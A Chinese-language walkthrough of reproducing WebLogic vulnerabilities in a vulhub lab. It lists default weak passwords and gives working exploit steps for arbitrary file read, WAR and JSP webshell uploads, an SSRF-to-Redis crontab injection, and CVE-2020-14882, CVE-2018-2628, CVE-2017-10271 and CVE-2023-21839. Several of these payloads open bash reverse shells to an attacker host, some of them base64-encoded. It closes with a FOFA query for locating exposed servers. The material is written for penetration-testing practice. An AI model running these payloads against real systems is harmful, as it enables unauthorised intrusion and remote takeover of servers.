免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
本文为Weblogic漏洞详谈。
1、Weblogic基本介绍
全名:Oracle WebLogic Server,JavaEE服务器
商业产品,适用于大型商业项目
同类产品:IBM WebSphere、Apache Tomcat、Redhat Jboss
默认端口:7001
2、常见的危害
Weblogic漏洞会有以下几种比较常见的危害:
- 弱口令、任意文件读取
- 任意文件上传getshell
- SSRF探测redis getshell
- 未授权远程代码执行漏洞
- T3协议反序列化RCE
- XML解析反序列化RCE
- JNDI注入漏洞
3、靶场环境搭建
本次复现的环境为:vulhub中的Weblogic
靶机(centos):192.168.110.16
攻击 kali :192.168.110.110.5
可以参考
是liku不是里库作者写的
https://blog.csdn.net/LCW991207/article/details/132325628
接下来讲解以上的复现
4、漏洞复现
4.1、弱口令
先启动对应的靶场
进入到对应目录
cd /var/local/soft/vulhub
cd weblogic/weak_password
ls
start docker.service
# -d是不会去读取日志启动
docker-compose up -d
登陆浏览器去访问后台 192.168.110.16:7001/console
第一次访问会进行部署
部署好,就是这个登陆界面。
账号:weblogic
密码:Oracle@123
这里就是weblogic一个常用的弱口令,以下为weblogic常用弱口令:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
如果不存在弱口令怎么办,可以通过任意文件读取来获取密文和密钥
4.2、任意文件读取漏洞
漏洞描述: 可以读取服务器任意文件。在读取到密钥和密码密文以后,可以AES解密出后台密码。
http://192.168.110.16:7001/hello/file.jsp?path=/etc/passwd
1、先获取到密文。使用burpsuite进行访问抓包,path修改成下面的绝对路径。
#绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
#相对路径:
security/SerializedSystemIni.dat
修改后发送,密文就是乱码这部分
将乱码的这部分,保存下来(右键-> copy to file)
2、获取密钥,跟上面同样操作,更换path路径读取密钥文件
#绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
#相对路径:
config/config.xml
这就是我们的密钥,保存下来。
3、解密
使用解密工具上传密文和密钥就好了
4.3、任意文件上传getshell
1、kali生成木马
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=4444 -f war -o java.war
2、点击左侧 部署->安装->上传war包->(全部下一步)-> 完成
接下来都点下一步就好了,部署成功就是下面这样
3、kali监听
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.142.162
set LPORT 4444
exploit
4、访问:
http://192.168.142.133:7001/java
这时候注意有没有接收到反弹连接
反弹成功。连接上了
4.4、CVE-2018-2894 任意文件上传
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3 漏洞环境 vulhub/weblogic/CVE-2018-2894
1、利用条件
获取到密码->开启web测试页
or
该项目测试的时候开启了,后面没关
2、开始利用
开启新的靶场时要把上一个关掉。
在weak_password路径下
docker-compose stop
cd ../CVE-2018-2894
service docker start
docker-compose up -d
docker-compose logs | grep password
知道了账号密码
登录到后台,开启 Web Service Test Page :
登录 -> base-domain ->高级 -> 开启 web测试页 -> 保存
漏洞地址:
http://192.168.110.16:7001/ws_utc/config.do
1、修改工作目录(一行内容,粘贴的时候去掉换行)
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
2、点击安全——添加,上传大马dama.jsp(这时候要查看时间戳)F12,网络。搜索keyStoreItem,找到时间戳
这边查看到的是1721813663351
4、访问木马(密码password)
http://192.168.110.16:7001/ws_utc/css/config/keystore/【时间戳】_dama.jsp
我这里的是
http://192.168.110.16:7001/ws_utc/css/config/keystore/1721813663351_dama.jsp
这里就可以使用大马执行很多东西比如端口扫描
4.5、CVE-2014-4210 SSRF
1、SSRF简述
SSRF是Server-side Request Forge的缩写,中文翻译为服务端请求伪造。
产生的原因是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对地址和协议等做过滤和限制。
利用SSRF漏洞可以发送Redis协议数据,执行Redis相关命令,进而getshell
2、影响版本:
weblogic 10.0.2 – 10.3.6
3、漏洞环境
vulhub/weblogic/ssrf
获取内网IP:
docker ps
docker exec -it 容器ID(redis) ifconfig
我们这里ip是172.21.0.2,记录一下
访问:
http://192.168.110.16:7001/uddiexplorer/SearchPublicRegistries.jsp(无需登录)
抓包,修改operator值为:http://172.21.0.2.6379/
发送后,这里响应有个报错。说明6379端口是开放的,说明这里是有个ssrf漏洞。这时候可以发送一个redis数据包
1、payload内容
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.110.5/7777 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
2、编码网站(encodeURIComponent编码方式)
http://www.kuquidc.com/enc/urlencode.php
将所有%0A替换成 %0D%0A(Redis协议以 CRLF 结尾(即“\r\n”))
还要再在test后加几个换行,结尾加个换行跟随便一点内容
3、kali监听
nc -lvp 7777
发送我们修改好的payload
发送后响应这边这样大概率就成功了
反弹成功
4.6、CVE-2020-14882远程代码执行
1、简述
weblogic未授权漏洞:CVE-2020-14882 weblogic命令执行漏洞:CVE-2020-14883
1、CVE-2020-14882允许未授权的用户绕过管理控制台 (Console)的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
2、使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
2、利用方式
三种利用方式:
https://mp.weixin.qq.com/s/knejHKP43SjifXMZFs7BVQ
1、执行payload后不回显,但是已经执行成功。
使用GET请求或者使用dnslog平台进行验证
2、执行payload后回显
通过GET方式进行payload提交
通过POST方式进行payload提交
3、通过把payload构造为XML格式进行引用
2、实操
- 将poc.xml传入kali中,ip为kali的ip
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDTA[]bash -i >& /dev/tcp/192.168.110.5/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
- HTTP服务/监听端口
python -m http.server 8888
nc -lvp 5555
3、访问URL
http://192.168.110.16:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.110.5:8888/poc.xml")
这里8888端口有访问到,监听端口没有响应。
但是这个利用流程是没问题的,这个容器有不稳定性。
4.7、CVE-2018-2628 T3协议反序列化漏洞
1、漏洞描述
1、Weblogic开放控制台的7001端口,默认会开启T3协议服务
2、Weblogic的T3协议实现了RMI(远程方法调用),在 WebLogic Server 和其他 Java 程序间传输数据
3、T3协议的缺陷触发了Weblogic Server WLS Core Components中存在的反序列化漏洞
4、攻击者可以发送构造的恶意T3协议数据,服务器反序列化 以后执行恶意代码,获取到目标服务器权限
2、影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
漏洞环境
vulhub/weblogic/CVE-2018-2628
T3协议检测
nmap -n -v -p 7001,7002 192.168.110.16 --script=weblogic-t3-info
3、复现
1、kali启动JRMPListener,参数包含恶意代码恶
意代码的作用是连接到7777端口)
2、kali创建7777端口监听
3、运行poc.py,让漏洞服务器主动连接RMI服务
器,进而下载恶意代码,建立反弹连接
payload准备
1、生成payload
bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
payload生成网站:
https://ares-x.com/tools/runtime-exec/
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC41Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
2、kali启动JRMPListener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC41Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
3、kali监听
nc -lvp 7777
4、kali运行运行POC(只支持Python2)
python2 cve-2018-2628-exp.py 192.168.110.16 7001 ysoserial.jar 192.168.110.5 8761 JRMPClient
复现成功
4.8、CVE-2017-10271 XML反序列化漏洞
1、简述
Weblogic的WLS Security组件对外提webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现 反序列化漏洞,导致可执行任意命令。
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞环境
vulhub/weblogic/CVE-2017-10271
访问
http://192.168.142.133:7001/wlswsat/CoordinatorPortType
抓包后,修改为以下参数:包括post请求、Content-Type: text/xml、ip等
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.110.16:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.110.5/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
kali监听端口
nc -lvp 8888
发送请求
连接成功
4.9、CVE-2023-21839 JNDI注入漏洞
1、简述
1、T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup(“xxxxxx”); 查看
2、远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法
3、由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal =context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行
2、影响版本
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
3、漏洞环境
vulhub/weblogic/CVE-2023-21839
4、复现
1、kali启动LDAP服务器,指定payload
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC41Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
*这个jar包无需启动HTTP服务器,比marshalsec.jar更省事
*payload生成方法和CVE-2018-2628完全一样
使用ldap,这个利用更广
ldap://192.168.110.5:1389/m4vpmj
2、Kali监听端口
nc -lvp 7777
3、Windows向漏洞服务器发送poc
CVE-2023-21839.exe -ip 192.168.110.16 -port 7001 -ldap ldap://192.168.110.5:1389/m4vpmj
5、总结
fofa:protocol=“weblogic”
6、出现的问题
在启动靶场的时候出现的错误,查到的解决方法是换源
vi /etc/docker/daemon.json·
下面这个目前7.20还能用
{
"registry-mirrors": [
"https://dockerhub.icu"
]
}
重启docker服务使配置生效
sudo systemctl daemon-reload
systemctl restart docker.service